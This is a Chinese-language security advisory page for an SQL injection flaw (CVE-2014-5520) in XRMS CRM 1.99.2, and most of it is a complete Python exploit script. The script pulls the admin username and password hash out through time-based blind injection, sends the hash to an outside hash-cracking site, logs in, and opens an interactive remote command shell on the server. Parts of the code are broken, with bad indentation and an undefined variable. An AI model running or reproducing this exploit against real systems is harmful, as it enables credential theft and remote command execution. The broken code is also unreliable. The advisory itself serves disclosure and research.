首页 -> 安全研究

安全研究

安全漏洞
XRMS CRM '$_SESSION'变量SQL注入漏洞

发布日期:2014-08-27
更新日期:2014-11-05

受影响系统:
XRMS CRM XRMS CRM
描述:
BUGTRAQ  ID: 69446
CVE(CAN) ID: CVE-2014-5520

XRMS CRM 是一个用 PHP 开发的开源客户关系管理系统和销售团队自动化管理工具,该系统还具备商业智能、计算机语音呼叫集成和一个高级的插件体系。

XRMS CRM 1.99.2版本在实现上存在sql注入漏洞,远程攻击者通过plugins/webform/new-form.php的user_id参数,利用此漏洞可执行sql命令。

<*来源:Benjamin Harris
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#######################
# XRMS Blind SQLi via $_SESSION poisoning, then command exec
#########################

import urllib
import urllib2
import time
import sys

usercharac =
['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.','_','-','1','2','3','4','5','6','7','8','9','0']
userascii = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108,
109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122,
64, 46, 95, 45, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48]
def banner():
    print """        ____                                      
       / __/_  ______ _  _  ___________ ___  _____
      / /_/ / / / __ `/ | |/_/ ___/ __ `__ \/ ___/
     / __/ /_/ / /_/ / _>  </ /  / / / / / (__  )
    /_/  \__,_/\__, (_)_/|_/_/  /_/ /_/ /_/____/  
                 /_/                              
    [+] fuq th3 w0rld, fuq ur m0m!\n"""

def usage():
    print "    [+] Info: Remote Command Execution via $_SESSION
poisoning to SQLi to RCE"
    print "    [+] Example:"
    print "    [+] python " + sys.argv[0] + " domain.to/xrms"
    quit()

def sendhashaway(hash):
    print " [+] Sending hash to icrackhash.com to be cracked."
    data = None
    headers = { 'Referer' : 'http://icrackhash.com/?mdhash=' + hash
+ '&type=MD5','User-Agent' : 'Mozilla','X-Requested-With' :
'XMLHttpRequest'}
    url = 'http://www.icrackhash.com/?mdhash=' + hash + '&type=MD5'
    gh = urllib2.Request(url,data,headers)
    gh2 = urllib2.urlopen(gh)
    output = gh2.read()
    plaintext =
getpositions(output,'<td><small><strong>','</strong>')
    print " [-] Plaintext of hash: " +plaintext + "\n"
    return plaintext

def username(length):
    length = length + 1
    duser = []
    #1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- -
    found = 0
    i = 1
    payload1 = "1) UNION ALL SELECT
1,2,3,4,5,6,7,8,IF(SUBSTRING(username,"
    payload2 = ",1)=CHAR("
    payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM
users-- -"
        for i in range(1,length):
        found = 0
        while(found != 1):
            for f in range(0,len(userascii)):
                class
LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
                    def http_error_302(self, req,
fp, code, msg, headers):
                        infourl =
urllib2.addinfourl(fp, headers, req.get_full_url())
                        infourl.status = code
                        infourl.code = code
                        return infourl
                    http_error_300 = http_error_302    
                class HeadRequest(urllib2.Request):
                    def get_method(self):
                        return "POST"
                payload = payload1 + str(i) + payload2 +
str(userascii[f]) + payload3
                data =
urllib.urlencode([('user_id',payload)])
                url =
'http://'+domain+'/plugins/webform/new-form.php'
                opener =
urllib2.build_opener(LeHTTPRedirectHandler)
                req = HeadRequest(url,data)
                prepare = opener.open(req)
                cookie1 = prepare.info()
                cookie2pos1 =
str(cookie1).find('PHPSESSID')
                cookie2pos2 =
str(cookie1).find("\n",cookie2pos1)
                line =
str(cookie1)[cookie2pos1:cookie2pos2 - 9]
                line = 'XRMS' + line[9:]
                url =
'http://'+domain+'/plugins/useradmin/fingeruser.php'
                headers = { 'Cookie' : line }
                data = None
                start = time.time()
                get = urllib2.Request(url,data,headers)
                get.get_method = lambda: 'HEAD'
                try:
                    execute = urllib2.urlopen(get)
                except:
                    pass
                elapsed = (time.time() - start)
                if(elapsed > 1):
                    print "    Character found.
Character is: " + usercharac[f]
                    duser.append(usercharac[f])
                    found = 1
    return duser

def getusernamelength():
    found = 0
    i = 1
    payload1 = "1) UNION ALL SELECT
1,2,3,4,5,6,7,8,IF(LENGTH(username) = '"
    payload2 = "',BENCHMARK(50000000,MD5(0x34343434)),NULL) FROM
users-- -"
    while (found != 1):
        class
LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
            def http_error_302(self, req, fp, code, msg,
headers):
                infourl = urllib2.addinfourl(fp,
headers, req.get_full_url())
                infourl.status = code
                infourl.code = code
                return infourl
            http_error_300 = http_error_302    
        class HeadRequest(urllib2.Request):
            def get_method(self):
                return "POST"
        payload = payload1 + str(i) + payload2
        data = urllib.urlencode([('user_id',payload)])
        url = 'http://'+domain+'/plugins/webform/new-form.php'
        opener = urllib2.build_opener(LeHTTPRedirectHandler)
        req = HeadRequest(url,data)
        prepare = opener.open(req)
        cookie1 = prepare.info()
        cookie2pos1 = str(cookie1).find('PHPSESSID')
        cookie2pos2 = str(cookie1).find("\n",cookie2pos1)
        line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]
        line = 'XRMS' + line[9:]
        url =
'http://'+domain+'/plugins/useradmin/fingeruser.php'
        headers = { 'Cookie' : line }
        data = None
        start = time.time()
        get = urllib2.Request(url,data,headers)
        get.get_method = lambda: 'HEAD'
        try:
            execute = urllib2.urlopen(get)
        except:
            pass
        elapsed = (time.time() - start)
        if(elapsed > 1):
            print "    Length found at position: " + str(i)
            found = 1
            length = i
            return length
        i = i + 1

def password(length):
    length = length + 1
    dpassword = []
    #1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- -
    found = 0
    i = 1
    payload1 = "1) UNION ALL SELECT
1,2,3,4,5,6,7,8,IF(SUBSTRING(password,"
    payload2 = ",1)=CHAR("
    payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM
users-- -"
        for i in range(1,length):
        found = 0
        while(found != 1):
            for f in range(0,len(userascii)):
                class
LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
                    def http_error_302(self, req,
fp, code, msg, headers):
                        infourl =
urllib2.addinfourl(fp, headers, req.get_full_url())
                        infourl.status = code
                        infourl.code = code
                        return infourl
                    http_error_300 = http_error_302    
                class HeadRequest(urllib2.Request):
                    def get_method(self):
                        return "POST"
                payload = payload1 + str(i) + payload2 +
str(userascii[f]) + payload3
                data =
urllib.urlencode([('user_id',payload)])
                url =
'http://'+domain+'/plugins/webform/new-form.php'
                opener =
urllib2.build_opener(LeHTTPRedirectHandler)
                req = HeadRequest(url,data)
                prepare = opener.open(req)
                cookie1 = prepare.info()
                cookie2pos1 =
str(cookie1).find('PHPSESSID')
                cookie2pos2 =
str(cookie1).find("\n",cookie2pos1)
                line =
str(cookie1)[cookie2pos1:cookie2pos2 - 9]
                line = 'XRMS' + line[9:]
                url =
'http://'+domain+'/plugins/useradmin/fingeruser.php'
                headers = { 'Cookie' : line }
                data = None
                start = time.time()
                get = urllib2.Request(url,data,headers)
                get.get_method = lambda: 'HEAD'
                try:
                    execute = urllib2.urlopen(get)
                except:
                    pass
                elapsed = (time.time() - start)
                if(elapsed > 1):
                    print "    Character found.
Character is: " + usercharac[f]
                    dpassword.append(usercharac[f])
                    found = 1
    return dpassword

def login(domain,user,password):
    cookie = "XRMS=iseeurgettinown4d"
    url = 'http://'+domain+'/login-2.php'
    headers = { 'Cookie' : cookie }
    data =
urllib.urlencode([('username',user),('password',password)])
    a1 = urllib2.Request(url,data,headers)
    a2 = urllib2.urlopen(a1)
    output = a2.read()
    if output.find('PEAR.php') > 0:
        print "    [+] Logged In"

def commandexec(domain,command):
    cookie = "XRMS=iseeurgettinown4d"
    cmd = urllib.urlencode([("; echo '0x41';" + command + ";echo
'14x0';",None)])
    headers = { 'Cookie' : cookie }
    data = None
    url =
'http://'+domain+'/plugins/useradmin/fingeruser.php?username=' + cmd
    b1 = urllib2.Request(url,data,headers)
    b2 = urllib2.urlopen(a1)
    output = b2.read()
    first = output.find('0x41') + 4
    last = output.find('14x0') - 4
    return output[first:last]

banner()
if len(sys.argv) < 2:
    usage()
domain = sys.argv[1]
print "    [+] Grabbing username length"
length = getusernamelength()
print "    [+] Grabbing username characters"
tmpuser = username(length)
adminusr = "".join(tmpuser)
print "    [+] Grabbing password hash"
tmppass =  password(32)
admpass = "".join(tmppass)
print " [+] Admin username: "+ adminusr
print "    [+] Admin password hash: " + admpass
plain = sendhashaway(admpass)
login(domain,adminusr,plain)
while(quit != 1):
    cmd = raw_input('    [+] Run a command: ')
    if cmd == 'quit':
        print "    [-] Hope you had fun :)"
        quit = 1
    if cmd != 'quit':
        print "    [+] "+ commandexec(domain,cmd)

建议:
厂商补丁:

XRMS CRM
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://sourceforge.net/projects/xrms/

浏览次数:1830
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障